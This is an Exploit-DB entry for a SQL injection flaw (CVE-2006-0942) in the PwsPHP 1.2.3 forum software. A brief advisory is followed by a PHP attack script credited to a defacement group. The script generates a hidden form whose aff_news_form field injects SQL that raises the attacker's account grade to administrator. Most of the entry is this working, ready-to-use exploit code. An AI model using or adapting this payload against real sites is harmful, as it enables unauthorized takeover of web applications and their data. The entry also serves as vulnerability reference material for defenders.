PwsPHP 1.2.3 Index.PHP SQL Injection Vulnerability

ID EDB-ID:27175
Type exploitdb
Reporter papipsycho
Modified 2006-02-09T00:00:00


PwsPHP 1.2.3 Index.PHP SQL Injection Vulnerability. CVE-2006-0942. Webapps exploit for php platform


PwsPHP is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect version 1.2.3; other versions may also be vulnerable. 



PwsPHP 1.2.3 & <? Remote Root
magic quote: Off
Credited: papipsycho
write code: papipsycho
for: G0t R00t ? Amd [W]orld [D]efacers
Website: &
Date: 09/02/2006

to connect and logged with the cookie then to launch the exploit


echo "<title>PwsPHP 1.2.3 & <? Remote Root :: By Papipsycho</title>"
         . "to connect and logged with the cookie then to launch the exploit<br>Enjoy.<br><br>";

if(empty($_POST['url']) AND empty($_POST['pseudo']) AND empty($_POST['pass']) AND empty($_POST['nom']))
        echo "<form method=\"post\" action=\"pws-root_paps.php\">"
                 . "Pseudo: <input type=\"text\" name=\"pseudo\"><br>"
                 . "Pass: <input type=\"text\" name=\"pass\"><br>"
                 . "Id: <input type=\"text\" name=\"id\"><br>"
                 . "Name: <input type=\"text\" name=\"nom\"><br>"
                 . "Mail: <input type=\"text\" name=\"mail\"><br>"
                 . "Url: <input type=\"text\" name=\"url\" value=\"\"><br>"
                 . "<input type=\"submit\" value=\"Send\">"
                 . "</form>";
        $url = $_POST['url'];
        $pseudo = $_POST['pseudo'];
        $pass = $_POST['pass'];
        $pass_md5 = md5($pass);
        $nom = $_POST['nom'];
        $mail = $_POST['mail'];
        $id = $_POST['id'];

        echo "<form method=\"post\" name=\"new_user\" action=\"$url/profil.php\" id=\"formulaire\">"
                 . "<input type=\"hidden\" name=\"pseudo\" value=\"$pseudo\">"
                 . "<input type=\"hidden\" name=\"nom\" value=\"$nom\">"
                 . "<input type=\"hidden\" name=\"pass2\" value=\"$pass\">"
                 . "<input type=\"hidden\" name=\"oldpass\" value=\"$pass_md5\">"
                 . "<input type=\"hidden\" name=\"email\" value=\"$mail\">"
         . "<input type=\"hidden\" name=\"aff_email\" value=\"1\">"
                 . "<input type=\"hidden\" name=\"mp_popup\" value=\"1\">"
                 . "<input type=\"hidden\" name=\"popup\" value=\"1\">"
                 . '<input type="hidden" name="aff_news_form" value=\'10",grade="4" WHERE `users`.`pseudo`="' . $pseudo . '" AND `users`.`id`="' .$id . '"/*\'>'
                 . "<input type=\"hidden\" name=\"icq\" value=\"\">"
                 . "<input type=\"hidden\" name=\"aim\"  value=\"\">"
                 . "<input type=\"hidden\" name=\"msn\"  value=\"\">"
                 . "<input type=\"hidden\" name=\"yahoom\" value=\"\">"
                 . "<input type=\"hidden\" name=\"site\"  value=\"\">"
                 . "<input type=\"hidden\" name=\"localisation\"  value=\"\">"
                 . "<input type=\"hidden\" name=\"urlavatar\" value=\"images/avatars/1.gif\">"
                 . "<input type=\"hidden\" name=\"signatue\" value=\"\">"
         . "<input type=\"hidden\" name=\"ok\" value=\"1\">"
         . "<input type=\"hidden\" name=\"id\" value=\"$id\">"
         . "<input type=\"hidden\" name=\"ac\" value=\"modifier\">"
         . "<center><input type=\"submit\" value=\"Clic Here\"></center>"
                 . "</form>";